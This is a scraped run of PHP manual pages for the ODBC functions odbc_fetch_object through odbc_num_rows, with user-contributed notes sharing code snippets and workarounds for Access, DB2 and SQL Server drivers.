scott at gamesonline dot com 02-Jul-1999 05:13
(Win32) When calling this function against an Access 97 table, if the second parameter is passed in as the row you wish to retrieve, it APPEARS you will keep getting the same row back, regardless of the value passed in.  Solution: Don't pass in the second parameter and everything autoincrements just fine.
vbhunt at silverfox dot com 28-Sep-1998 09:27
This function interacts with odbc_result in that it appears to increment the internal record pointer for the current query result.  Thus if you use this function and desire to have the record you just fetched available for use in odbc_result; you'll have to call odbc_fetch_result again with the current row number.  This behavior can be especially confusing if your query result contains a single record.  When this is the case, use of odbc_fetch_into appears to break odbc_result.
vbhunt at silverfox dot com 28-Sep-1998 08:20
Passing by reference means that you have to pass a pointer to the item (i.e. array) and not the item itself.  In this case this means prepend an ampersand onto the front of your arrayname to indicate that the arrayname is being passed by reference and not by value.  For example:
<?php
$cols = odbc_fetch_into($QueryID, $RowNum, &$YourArray);
?>


Fetch a result row as an object

  • « odbc_fetch_into
  • odbc_fetch_row »
  • PHP Manual
  • ODBC Functions
  • Fetch a result row as an object

odbc_fetch_object

(PHP 4 >= 4.0.2, PHP 5)

odbc_fetch_object — Fetch a result row as an object

Description

object odbc_fetch_object ( resource $result [, int $rownumber ] )

Fetch an object from an ODBC query.

Parameters

result

The result resource from odbc_exec().

rownumber

Optionally choose which row number to retrieve.

Return Values

Returns an object that corresponds to the fetched row, or FALSE if there are no more rows.

Notes

Note: This function exists when compiled with DBMaker, IBM DB2 or UnixODBC support.

See Also

  • odbc_fetch_row() - Fetch a row
  • odbc_fetch_array() - Fetch a result row as an associative array
  • odbc_num_rows() - Number of rows in a result

User Contributed Notes

philip 22-Mar-2005 05:04
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
thorsten at rinne dot info 15-Oct-2003 11:26
odbc_fetch_object() works nice with PHP 4.3.3 under W2K with IBM DB2 V.7.2 and V.8.1:

<?php
$conn = odbc_connect($db_name, $username, $password) or die(odbc_error_msg());
$sql = "SELECT * FROM TABLE";
$result = odbc_exec($conn, $sql);
while ($rows = odbc_fetch_object($result)) {
    print $rows->COLUMNNAME;
    }
odbc_close($conn);
?>
j dot a dot z at bluewin dot ch 30-Apr-2003 10:26
hey "general at maccrafters dot com"

thank you very much for your code. it saved me time!
however i extended it a bit!
---------------------------------------------
    function __odbc_fetch_object($res)
    {
        if( function_exists("odbc_fetch_object") )
            return odbc_fetch_object($res);

        $rs = array();
        $rs_obj = false;
        if( odbc_fetch_into($res, &$rs) )
        {
            foreach( $rs as $key=>$value )
            {
                $fkey = odbc_field_name($res, $key+1);
                $rs_obj->$fkey = trim($value);
            }
        }
        return $rs_obj;
    }
---------------------------------------------
cheers, jaz
h4 at locked dot org 11-Mar-2003 03:28
my 2 cents:

function data($res) {
    $obj = new stdClass();
    $data_array = array();

    if (!odbc_fetch_into($res, $data_array)) {
        return 0;
    }

    $num_fields = odbc_num_fields($res);

    for ($i = 0;$i < $num_fields; $i++) {
        $name = odbc_field_name($res, $i + 1);
        if (!$name) {
            return 0;
        }

        $obj->{$name} = $data_array[$i];
    }

    return $obj;
}

works fine for me (PHP 4.3.1)
charlesk at netgaintechnology dot com 23-Jan-2003 07:54
I asked one of the developers to enable this function in the CVS.  I tried it and it worked.  I didnt do anything special.  I was using a Microsoft Access ODBC driver that came with my Windows XP Pro Install.

I was using the Apache web server.

Charles
general at maccrafters dot com 05-Nov-2002 08:45
Here's a bit of code I came up with tha behaves just like mysql_fetch_object()

    function odbc_fetch_object($result)
    {
        $rs=array();
        if(odbc_fetch_into($result,&$rs))
        {
            foreach($rs as $key=>$value)
            {
    $fkey=strtoupper(odbc_field_name($result,$key+1));
                $rs_obj->$fkey = trim($value);

            }
        }
        return($rs_obj);
    }

Special thanks to previous posters for giving me a starting point for this code.
kynaston at yahoo dot com 05-Sep-2002 02:55
If you're using Masoud's code in PHP4.2+, change the fifth line to:

odbc_fetch_into($result,&$rs);

(the order of arguments have changed)
Marcus dot Karlsson at usa dot net 24-Apr-2002 07:57
It' possible to get both odbc_fetch_object() and odbc_fetch_array() to work just by removing #ifdef HAVE_DBMAKER/#endif in php_odbc.h line 216 (219) and the same in php_odbc.c line 87 (90) and 1229 (1380).

I've done this sucessfully in the PHP 4.2.0 release using ODBC towards a MySQL database.

I really can't understand why the #ifdef is there from the beginning, but they do have their reasons.

These were the files i "patched"
/* $Id: php_odbc.c,v 1.120.2.1 2002/04/08 22:21:30 sniper Exp $ */
/* $Id: php_odbc.h,v 1.45.2.1 2002/03/12 02:27:47 sniper Exp $ */
masuod_a at hotmail dot com 22-Feb-2002 09:29
This function not availible in PHP 4.1.1 , you can try this :

if (function_exists(odbc_fetch_object))
 return;
function odbc_fetch_object($result, $rownumber=1) {
 $rs=array();
 odbc_fetch_into($result, $rownumber,$rs);
 foreach ($rs as $key => $value) {
   $fkey=strtolower(odbc_field_name($result, $key+1));
   $rs_obj->$fkey = $value;
 }
 return $rs_obj;
}
if you wanna use this function in a loop  you must set rownumber parameter
you can't use this function like :
 while ($myobj=odbc_fetch_object($res)) {
 ....
}


Fetch a row

  • « odbc_fetch_object
  • odbc_field_len »
  • PHP Manual
  • ODBC Functions
  • Fetch a row

odbc_fetch_row

(PHP 4, PHP 5)

odbc_fetch_row — Fetch a row

Description

bool odbc_fetch_row ( resource $result_id [, int $row_number ] )

Fetches a row of the data that was returned by odbc_do() or odbc_exec(). After odbc_fetch_row() is called, the fields of that row can be accessed with odbc_result().

Parameters

result_id

The result identifier.

row_number

If row_number is not specified, odbc_fetch_row() will try to fetch the next row in the result set. Calls to odbc_fetch_row() with and without row_number can be mixed.

To step through the result more than once, you can call odbc_fetch_row() with row_number 1, and then continue doing odbc_fetch_row() without row_number to review the result. If a driver doesn't support fetching rows by number, the row_number parameter is ignored.

Return Values

Returns TRUE if there was a row, FALSE otherwise.

User Contributed Notes

eolscr at gmail dot com 07-Apr-2005 05:05
When I migrates from 4 to 5 took me a long day to find the solution.

The way to use it without problems

In php4:

<?php
while (odbc_fetch_row($stringsql)) {

// ...

}
?>

In php5:

<?php

odbc_fetch_row($stringsql, 0);

while (odbc_fetch_row($stringsql)) {

// ...

}

?>

Good luck


Get the length (precision) of a field

  • « odbc_fetch_row
  • odbc_field_name »
  • PHP Manual
  • ODBC Functions
  • Get the length (precision) of a field

odbc_field_len

(PHP 4, PHP 5)

odbc_field_len — Get the length (precision) of a field

Description

int odbc_field_len ( resource $result_id , int $field_number )

Gets the length of the field referenced by number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field name as a string, or FALSE on error.

See Also

  • odbc_field_scale() - Get the scale of a field to get the scale of a floating point number

User Contributed Notes

There are no user contributed notes for this page.


Get the columnname

  • « odbc_field_len
  • odbc_field_num »
  • PHP Manual
  • ODBC Functions
  • Get the columnname

odbc_field_name

(PHP 4, PHP 5)

odbc_field_name — Get the columnname

Description

string odbc_field_name ( resource $result_id , int $field_number )

Gets the name of the field occupying the given column number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field name as a string, or FALSE on error.

User Contributed Notes

anuga at anuga dot se 27-Apr-2009 09:46
I've been toying around with this for awhile to make it as simple and fast as possible.

<?php

/* Start The Connection */
if(!$odbc['connection'] = odbc_connect('DNS','USER','PASS'))
{
    exit("Connection Failed<br />\n");
}
else
{
    echo("Connected<br />\n");
}

/* Select Which Table */
$odbc['table'] = "table";

/* Fetch The Fieldnames into an Array */
if($result = odbc_exec($odbc['connection'],"select * from $odbc['table'];"))
{
    for($i = 1;$i <= odbc_num_fields($result);$i++)
    {
        $odbc['rows']['fields'][$i] = odbc_field_name($result,$i);
    }
    unset($i);
    odbc_free_result($result);
}
else
{
    exit("Error in SQL Query");
}

/* Close The Connection */
if(odbc_close($odbc['connection']))
{
    odbc_close($odbc['connection']);
}

/* Print The Array */
if(!empty($odbc['rows']))
{
    print_r($odbc['rows']);
}

?>
sica at wnet dot com dot br 05-Nov-2008 07:39
Hi hayes029, your idea was very helpful.
Here go a adaptation for select form field.
<?php
  $consulta = "select * from schema.table";
  $resposta = odbc_exec($con, $consulta);
  for($i=1; $i <= odbc_num_fields($resposta); $i++)
    echo "<option value=".odbc_field_name($resposta, $i).">".odbc_field_name($resposta, $i)."</option>";
?>
marco 14-Feb-2008 03:08
we faced the 31 char limit using cakephp dbo_odbc.php class (version 1.1.18.5850)

at the end, it calls odbc_fetch_row giving the problem (i tracked it may be due to the php implementation of a ODBCv2 model, which has hard coded 4bytes, 32 bits file names length, while ODBCv3 seems to have a separate specification of that value, fwiw)

we learned from another user (having similar problems with dbo_mssql.php class) how to workaround this problem,

we solved using inheritance, redefining the method (locally to our application) in order to
- create a "map" of the query fields (as an array) before executing it
- execute the query in a non-associative way
- after the results are returned, restore the real field names applying the previous created "map"

another way could be use the COM like:
new COM("ADODB.Connection")
which does not show the 31 chars problem but it could be slower and bound to the windows platform.
NoEgzit 22-Nov-2007 03:23
If you really need more than 31 characters here's what you can do:

open php5.x.x/ext/odbc/php_odbc_includes.h in an editor like notepad++

change 32 by a greater value in
typedef struct odbc_result_value {
    char name[32];
    char *value;
    SDWORD vallen;
    SDWORD coltype;
} odbc_result_value;

and recompile php.

I did it with char name[64] cause I have column names like "0214_1_VD_Type d'exploitation Type d'opération (Niveau 1)"  [I didn't choose this stupid name it comes from Eccairs project]
and rebuild php with the method given here http://www.php.net/manual/en/install.windows.building.php  and http://elizabethmariesmith.com/2006/11/09/
compiling-php52-on-windows-with-net-toolchain-is-it-even-possible/

with visual C++ express edition.
jezzghost 21-Feb-2006 07:32
Note that there is a known limitation with this which truncates the length of the returned field name to 31 characters without warning.
hayes029 at bama dot ua dot edu 13-Apr-2004 07:01
In search of a function that would simply return an array with the names of the fields in a result identifier, the only thing I could find was the odbc_field_name function.  So, for anyone else looking for such a function, here's the (very simple) function I wrote:

function odbc_field_names ($result) {
  for ($i=1; $i <= odbc_num_fields($result); $i++) $return_array[$i-1] = odbc_field_name($result, $i);
  return $return_array;
}

Very simple, I know, but I thought it might be helpful.
andrea dot galli at acotel dot com 29-Apr-2003 05:12
Example: function field name.

$Link_ID = odbc_connect("DSN", "user", "pass");

$query = "SELECT * FROM products";

$Query_ID = odbc_exec($Link_ID, $query);

while($field = $field_name($Query_ID ))
{
     echo("Field: $field<br />\n");
}

---------------------

function field_name($PrQuery_ID)
{
     if($Column < odbc_num_fields($PrQuery_ID))
     {
          $Column += 1;
          $FieldName = odbc_field_name($PrQuery_ID, $Column);

          return $FieldName;
     }
     else
     {
          return 0;
     }
}
aleckzandr at yahoo dot com 17-Apr-2003 09:04
Well, I've been into PHP for four hours and thanks to "my predecessors before me" (gold163, curt, et al.) I've managed the following. The first thing I try to learn with any web scripting language is to build a dynamic table from a data source. (One thing you didn't have to do gold -previous post- is build an array for the field value.) Cheers! Alex

<html>
 <head>
  <title>PHP Database Example</title>
 </head>
 <style type="text/css">
 <!--
  body {font: 10pt/12pt Tahoma, Verdana, Helvetica, sans-serif; color: indigo; margin: .25in .5in }
  table {color:Navy; background-color:AntiqueWhite; border-color:Maroon; border-style:Solid; border-width: 2px; }
  th {color: blue; font-weight: bold; }
  td {font-size: smaller; }
  .mytable {color:Maroon; background-color:White; border-color:Navy; border-style:Solid; border-width: 1px; }
  th.mytable {background-color:#C0C0C0; }
 //-->
 </style>
 <body>

 <p><?php echo date("j F, Y"); ?></p>
<?php

$db = odbc_connect("eSell22MDB","","");
$result = odbc_exec($db, "select ProductID, ProductName, Description1 from Products");

// cool function - returns table
odbc_result_all($result, "border=\"1\" class=\"def\"");

$result = odbc_exec($db, "select * from Products") or die("Select failed");

$myUtil = new Utilities();

$myUtil->standard_table($result,"mytable");

class Utilities {

     function standard_table($result,$class="")
     {
         // To format your table if you want to use cascading style sheets
         if ($class == "")
         {
             $css_table = " border=\"1\"";
             $css_tr = "";
             $css_th = "";
             $css_td = "";
         }
         else
         {
             $css_table = " class=\"$class\"";
             $css_tr = " class=\"$class\"";
             $css_th = " class=\"$class\"";
             $css_td = " class=\"$class\"";
         }

         // Create field names for table header row
         $i = 0;
         $fieldCount = odbc_num_fields($result);
         echo "  <table$css_table>\n";
         echo "   <tr$css_tr>\n";

         while ($i < $fieldCount)
         {
             $i++;
             $fieldName = odbc_field_name($result, $i);
             echo "    <th$css_th>$fieldName</th>\n";
         }
         echo "   </tr>\n";

         # Create table data rows for query result
         while (odbc_fetch_row($result))
         {
             $i = 0;
             echo "   <tr$css_tr>\n";
             while ($i < $fieldCount)
             {
                 $i++;
                 $fieldData = trim(odbc_result($result, $i));
                 if ($fieldData  == "")
                     echo "    <td$css_td>&nbsp;</td>\n";
                 else
                     echo "    <td$css_td>$fieldData</td>\n";
             }
             echo "   </tr>\n";
         }
         echo "  </table>";
     }
} // class Utilities

?>

 </body>
</html>
gold163 at lisco dot com 26-Mar-2003 06:10
Using your code, and taking it a step further, I can create a standard table from a single line of code by calling a function from my include file - the bonus is, that I can optionally provide a parameter for the name of my style sheet class - further simplifying my formatting of the table.

What synergy you find in these forums - eh?

$Conn = odbc_connect('dsn','user','pass');
$query = "SELECT * FROM yourtable";
$result = odbc_exec($Conn, $query) or die('Select failed!');

standard_table($result);

Function standard_table($result,$class='')
{
# To format your table if you want to use cascading style sheets
 if ($class == '')
 {
  $css_table = ' border=1';
  $css_tr = '';
  $css_th = '';
  $css_td = '';
 }
 else
 {
  $css_table = ' class=\"$class\"';
  $css_tr = ' class=\"$class\"';
  $css_th = ' class=\"$class\"';
  $css_td = ' class=\"$class\"';
 }

# Create field names for table header row
$i = 0;
$fCount = odbc_num_fields($result);
echo "<table$css_table><tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    echo "<th>$fName</th>";
  }
echo "</tr>";

# Create table data rows for query result
$i = 0;
$fCount = odbc_num_fields($result);
while (odbc_fetch_row($result))
{
echo "<tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    $job[$fName] = odbc_result($result, $i);
    echo "<td>$job[$fName]</td>";
  }
echo "</tr>";
$i = 0;
}
echo "</table>";
}
curt at digmo dot com 01-Aug-2001 03:58
I turned Jason's code into a function to roughly mimic the mysql_fetch_array function. I'm not a programmer and I've been messing with PHP less than a week, so I imagine there's a more efficient method that what I've come up with.

function odbc_fetch_array($rownum, $res)
{

$i = 0;
$fCount = odbc_num_fields($res);
odbc_fetch_row($res, $rownum);
    while ($i < $fCount)
        {
    $i++;
    $fName = odbc_field_name($res, $i);
    $myrow[$fName] = odbc_result($res, $i);
          }
$i=0;
return $myrow;
}
11-Mar-2001 01:11
Wow, I finally have something to contribute.
If you, like me, have been seeking a way to name and fill your variables with the appropriate names an values, rather than naming every variable and using odbc_result($result, 1), odbc_result($result, 2), etc...Then this little loop is for you!  It would probably be nice to use as function, but I'm sure you can do that on your own, eh?

<?php
$query = "SELECT * FROM TableName";
$result = odbc_exec($conn, $query) or die('Select failed!');
$i = 0;
$fCount = odbc_num_fields($result);

while (odbc_fetch_row($result)) {
    while ($i < $fCount) {
        $i++;
        $fName = odbc_field_name($result, $i);
        $job[$fName] = odbc_result($result, $i);
    }
    $i=0;
}
?>

This should be pretty simple code to follow, you can address your variables at any time later using the column names from your table.  For now I am addressing them with their real values and using this simply to avoid having to type out all the variable names in the top of my code.  Have fun.

Jason/ArtHacker.com


Return column number

  • « odbc_field_name
  • odbc_field_precision »
  • PHP Manual
  • ODBC Functions
  • Return column number

odbc_field_num

(PHP 4, PHP 5)

odbc_field_num — Return column number

Description

int odbc_field_num ( resource $result_id , string $field_name )

Gets the number of the column slot that corresponds to the named field in the given result identifier.

Parameters

result_id

The result identifier.

field_name

The field name.

Return Values

Returns the field number as a integer, or FALSE on error. Field numbering starts at 1.

User Contributed Notes

There are no user contributed notes for this page.


Alias of odbc_field_len

  • « odbc_field_num
  • odbc_field_scale »
  • PHP Manual
  • ODBC Functions
  • Alias of odbc_field_len

odbc_field_precision

(PHP 4, PHP 5)

odbc_field_precision — Alias of odbc_field_len()

Description

This function is an alias of: odbc_field_len().

See Also

  • odbc_field_scale() - Get the scale of a field to get the scale of a floating point number.

User Contributed Notes

There are no user contributed notes for this page.


Get the scale of a field

  • « odbc_field_precision
  • odbc_field_type »
  • PHP Manual
  • ODBC Functions
  • Get the scale of a field

odbc_field_scale

(PHP 4, PHP 5)

odbc_field_scale — Get the scale of a field

Description

int odbc_field_scale ( resource $result_id , int $field_number )

Gets the scale of the field referenced by number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field scale as a integer, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Datatype of a field

  • « odbc_field_scale
  • odbc_foreignkeys »
  • PHP Manual
  • ODBC Functions
  • Datatype of a field

odbc_field_type

(PHP 4, PHP 5)

odbc_field_type — Datatype of a field

Description

string odbc_field_type ( resource $result_id , int $field_number )

Gets the SQL type of the field referenced by number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field type as a string, or FALSE on error.

User Contributed Notes

jschwartz at the-infoshop dot com 04-Aug-2009 10:40
Quick note: as noted below, MS Access type AutoNumber comes across as type COUNTER. What I didn't see mentioned is that PHP interprets type COUNTER as a string, not an integer.

More annoying than anything else, in my particular case; but I'd guess it could bite somebody, somewhere.
jorge dot emailNOSPAM at gmail dot com 17-Jan-2007 01:21
Here is the complete list!

Access 2003 as the following teturntypes:

COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink
DOUBLE - Double Number
BYTE - Byte Number
not[at]wgpower[dot]net 19-May-2006 02:02
Some fields can be of the following type too : REAL
jazper at lycos dot de 11-Jul-2002 12:30
Returntypes on Access2000
COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink

cheers, j.a.z.


Retrieves a list of foreign keys

  • « odbc_field_type
  • odbc_free_result »
  • PHP Manual
  • ODBC Functions
  • Retrieves a list of foreign keys

odbc_foreignkeys

(PHP 4, PHP 5)

odbc_foreignkeys — Retrieves a list of foreign keys

Description

resource odbc_foreignkeys ( resource $connection_id , string $pk_qualifier , string $pk_owner , string $pk_table , string $fk_qualifier , string $fk_owner , string $fk_table )

Retrieves a list of foreign keys in the specified table or a list of foreign keys in other tables that refer to the primary key in the specified table

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

pk_qualifier

The primary key qualifier.

pk_owner

The primary key owner.

pk_table

The primary key table.

fk_qualifier

The foreign key qualifier.

fk_owner

The foreign key owner.

fk_table

The foreign key table.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • PKTABLE_QUALIFIER
  • PKTABLE_OWNER
  • PKTABLE_NAME
  • PKCOLUMN_NAME
  • FKTABLE_QUALIFIER
  • FKTABLE_OWNER
  • FKTABLE_NAME
  • FKCOLUMN_NAME
  • KEY_SEQ
  • UPDATE_RULE
  • DELETE_RULE
  • FK_NAME
  • PK_NAME

If pk_table contains a table name, odbc_foreignkeys() returns a result set containing the primary key of the specified table and all of the foreign keys that refer to it.

If fk_table contains a table name, odbc_foreignkeys() returns a result set containing all of the foreign keys in the specified table and the primary keys (in other tables) to which they refer.

If both pk_table and fk_table contain table names, odbc_foreignkeys() returns the foreign keys in the table specified in fk_table that refer to the primary key of the table specified in pk_table. This should be one key at most.

User Contributed Notes

There are no user contributed notes for this page.


Free resources associated with a result

  • « odbc_foreignkeys
  • odbc_gettypeinfo »
  • PHP Manual
  • ODBC Functions
  • Free resources associated with a result

odbc_free_result

(PHP 4, PHP 5)

odbc_free_result — Free resources associated with a result

Description

bool odbc_free_result ( resource $result_id )

Free resources associated with a result.

odbc_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script is finished.

Parameters

result_id

The result identifier.

Return Values

Always returns TRUE.

Notes

Note:

If auto-commit is disabled (see odbc_autocommit()) and you call odbc_free_result() before committing, all pending transactions are rolled back.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about data types supported by the data source

  • « odbc_free_result
  • odbc_longreadlen »
  • PHP Manual
  • ODBC Functions
  • Retrieves information about data types supported by the data source

odbc_gettypeinfo

(PHP 4, PHP 5)

odbc_gettypeinfo — Retrieves information about data types supported by the data source

Description

resource odbc_gettypeinfo ( resource $connection_id [, int $data_type ] )

Retrieves information about data types supported by the data source.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

data_type

The data type, which can be used to restrict the information to a single data type.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TYPE_NAME
  • DATA_TYPE
  • PRECISION
  • LITERAL_PREFIX
  • LITERAL_SUFFIX
  • CREATE_PARAMS
  • NULLABLE
  • CASE_SENSITIVE
  • SEARCHABLE
  • UNSIGNED_ATTRIBUTE
  • MONEY
  • AUTO_INCREMENT
  • LOCAL_TYPE_NAME
  • MINIMUM_SCALE
  • MAXIMUM_SCALE

The result set is ordered by DATA_TYPE and TYPE_NAME.

User Contributed Notes

andrea dot galli at acotel dot com 29-Apr-2003 06:45
Example: display all data types

<?php

     $Link_ID = odbc_connect("DSN", "user", "pass");
     $result = odbc_gettypeinfo($Link_ID);

     odbc_result_all($result);

?>


Handling of LONG columns

  • « odbc_gettypeinfo
  • odbc_next_result »
  • PHP Manual
  • ODBC Functions
  • Handling of LONG columns

odbc_longreadlen

(PHP 4, PHP 5)

odbc_longreadlen — Handling of LONG columns

Description

bool odbc_longreadlen ( resource $result_id , int $length )

Enables handling of LONG and LONGVARBINARY columns.

Parameters

result_id

The result identifier.

length

The number of bytes returned to PHP is controlled by the parameter length. If it is set to 0, Long column data is passed through to the client.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

Handling of LONGVARBINARY columns is also affected by odbc_binmode().

User Contributed Notes

egil at wp dot pl 22-Jul-2009 11:06
I've tried to use a suggestion in the first comment but that didn't actually worked as I would expect... I wanted to get all data no matter how big it is, but strange things happened and I finally found this solution (works fine at least for MS SQL 2000 for at least few MB of binary data):

<?php
// connection
$link = odbc_connect($odbc_source_name, $user, $pass);

// query (note - one row in this example)
$sql = 'SELECT image_data_column FROM some_table WHERE record_id=1';

// run
$result = odbc_exec ($link, $sql)
if (!$result)
{
    trigger_error ('[sql] exec: '.$sql, E_USER_ERROR);
}

// fetch settings
odbc_binmode ($result, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen ($result, 0);

// get contents
ob_start(); // you would probably need to move this inside if you expect more rows
while (odbc_fetch_row($result))
{
    odbc_result($result, 1); // this actually echos all of the contents of the image_data_column
}
odbc_free_result($result);
$contents = ob_get_clean();
?>
php dot net dot notes at webqs dot com 06-Aug-2005 03:12
Hi

If you are experiencing troubles with truncated and/or strangely encoded data when using PHP with MS SQL via ODBC try setting odbc.defaultlrl ( in php.ini or via ini_set() ) to a largish number, say 65536, as stated in the other notes here.
The trick is to know how long your data is going to be, so you may want to provide some overhead. Unfortunately you have to know how long your piece of string is before you cut it.

Doing this will allow your app to read up to this amount in one go. I'm sure there is a reason for this behaviour but I hadn't experienced anything like it in 5 years of MySQL and Postgres development.

If you still experience problems AND are using unicode data in the long column of your table, make sure it is set to type "ntext", if it is "text". MSDN has some info on data types for Unicode data.
This caused about 3 days of headaches for me, "binary" data crashing browsers and cyclical result sets (i.e repeating data after odbc.defaultlrl bytes).

This fix was only found by poking things with sticks.

HTH
jdcard at inreach dot com 09-Dec-2004 06:37
I was reading from a MEMO field (long varchar) in MSAccess, but the data was consistently truncated at 255 characters. I tried all the combinations of odbc_longreadlen() and odbc_binmode()  (and odbc.defaultlrl) that I could think of but none of them resolved the problem.

The only fix that worked was to modify my query from "SELECT Field1, Field2 FROM TableName" to "SELECT * FROM TableName".

I suspect that you could cast the field to force the appropriate data type, but when it finally worked after three days of struggle I didn't even try.
26-Sep-2002 02:00
An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length
buzz77 at gmx dot net 23-Nov-2001 11:31
Aaargh!
I was wondering about truncated data when reading from a TEXT (LONG VARCHAR) column.
With this I was able to increase the buffer size...
jasendorf at lcounty dot com 14-Dec-2000 01:26
I had a heck of a time figuring out what to do with this function.  Here's a little piece of code from Jason Lee which I found that might help someone else...

$cur = odbc_exec($cnx, $query);
if(!$cur) {
/* error handler */
}

odbc_binmode($cur, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen($cur, 16384); /* Allow 16kb thru */

while(odbc_fetch_row($cur)) {
$bigger_than_4096_var = odbc_result($cur, 1);
/* etc... */

Hope this helps someone, John


Checks if multiple results are available

  • « odbc_longreadlen
  • odbc_num_fields »
  • PHP Manual
  • ODBC Functions
  • Checks if multiple results are available

odbc_next_result

(PHP 4 >= 4.0.5, PHP 5)

odbc_next_result — Checks if multiple results are available

Description

bool odbc_next_result ( resource $result_id )

Checks if there are more result sets available as well as allowing access to the next result set via odbc_fetch_array(), odbc_fetch_row(), odbc_result(), etc.

Parameters

result_id

The result identifier.

Return Values

Returns TRUE if there are more result sets, FALSE otherwise.

Examples

Example #1 odbc_next_result()

<?php
$r_Connection = odbc_connect($dsn, $username, $password);

$s_SQL = <<<END_SQL
SELECT 'A'
SELECT 'B'
SELECT 'C'
END_SQL;

$r_Results = odbc_exec($r_Connection, $s_SQL);

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump first result set";
var_dump($a_Row1, $a_Row2);

echo "Get second results set ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump second result set ";
var_dump($a_Row1, $a_Row2);

echo "Get third results set ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump third result set ";
var_dump($a_Row1, $a_Row2);

echo "Try for a fourth result set ";
var_dump(odbc_next_result($r_Results));
?>

The above example will output:

Dump first result set array(1) {
  ["A"]=>
  string(1) "A"
}
bool(false)
Get second results set bool(true)
Dump second result set array(1) {
  ["B"]=>
  string(1) "B"
}
bool(false)
Get third results set bool(true)
Dump third result set array(1) {
  ["C"]=>
  string(1) "C"
}
bool(false)
Try for a fourth result set bool(false)

User Contributed Notes

carlosgoce AT gmail DOT com 01-May-2013 01:27
Using dbase always returns false or -1. It won't work. Just like odbc_num_rows.
mypsuedoemail at yahoo dot com 28-May-2006 02:06
This function works exactly like its equivalent Microsoft SQL Server function: mssql_next_result(). The information above is rather vague and a bit misleading, so refer to the mssql version of this function for details on to use it properly.

P.S. It works with stored procedures.


Number of columns in a result

  • « odbc_next_result
  • odbc_num_rows »
  • PHP Manual
  • ODBC Functions
  • Number of columns in a result

odbc_num_fields

(PHP 4, PHP 5)

odbc_num_fields — Number of columns in a result

Description

int odbc_num_fields ( resource $result_id )

Gets the number of fields (columns) in an ODBC result.

Parameters

result_id

The result identifier returned by odbc_exec().

Return Values

Returns the number of fields, or -1 on error.

User Contributed Notes

There are no user contributed notes for this page.


Number of rows in a result

  • « odbc_num_fields
  • odbc_pconnect »
  • PHP Manual
  • ODBC Functions
  • Number of rows in a result

odbc_num_rows

(PHP 4, PHP 5)

odbc_num_rows — Number of rows in a result

Description

int odbc_num_rows ( resource $result_id )

Gets the number of rows in a result. For INSERT, UPDATE and DELETE statements odbc_num_rows() returns the number of rows affected. For a SELECT clause this can be the number of rows available.

Parameters

result_id

The result identifier returned by odbc_exec().

Return Values

Returns the number of rows in an ODBC result. This function will return -1 on error.

Notes

Note:

Using odbc_num_rows() to determine the number of rows available after a SELECT will return -1 with many drivers.

User Contributed Notes

panchome66 at gmail dot com 10-Feb-2014 06:22
Este codigo se probó en SQL Server 2000, no se probó en otras versiones como 2005 o 2008. Aun asi no se aplica para MySQL, porque no existe la tabla "sysindexes":

$cnx = odbc_connect("dbSQLEmpresa","Admin","123");
if ($cnx)
{
    $rs = odbc_exec($cnx, "SELECT * FROM alumnos");
    $f = odbc_num_fields($rs);
    $r = odbc_num_rows($rs);
    $r = LFRJ_odbc_num_rows($cnx,"alumnos");

    echo "<table border = '1'>";
    for ($i = 1; $i <= $f; $i++)
    {
        $n = odbc_field_name($rs, $i);
        echo "<th>", $n, "</th>";
    }
    while(odbc_fetch_row($rs))
    {
        echo "<tr>";
        for ($i = 1; $i <= $f; $i++)
        {
            $d = odbc_result($rs, $i);
            echo "<td>", $d, "</td>";
        }
        echo "</tr>";
    }
    echo "<tr><td colspan = '" . $f . "'>Campos(" . $f . ") Registros(" . $r . ")</td></tr>";
    echo "</table>";
}
odbc_close($cnx);

function LFRJ_odbc_num_rows($cnx,$Tabla)
{
    $rs = odbc_exec($cnx, "SELECT rows FROM sysindexes WHERE id = OBJECT_ID('" . $Tabla . "') AND indid < 2;");
    return odbc_result($rs, 1);
}
johnnyboyct-AT-yahoo.com 20-Jun-2013 02:35
function best_odbc_num_rows($r1)  {
    ob_start(); // block printing table with results
    (int)$number=odbc_result_all($r1);
    ob_clean(); // block printing table with results
    return $number;
}

Above is the best way to count if you are not using something like IBM Netezza and ODBC and not doing more than 100000ish records, otherwise even this method will run out of memory.

IBM Netezza and ODBC will give you counts matching the prefetch setting in the odbc.ini file :( the default is 256 so watch out because it is accurate until that number.
Gerd Christian Kunze 23-Jan-2013 09:34
odbc_num_rows does return -1 when it shouldn't.

i used this code:

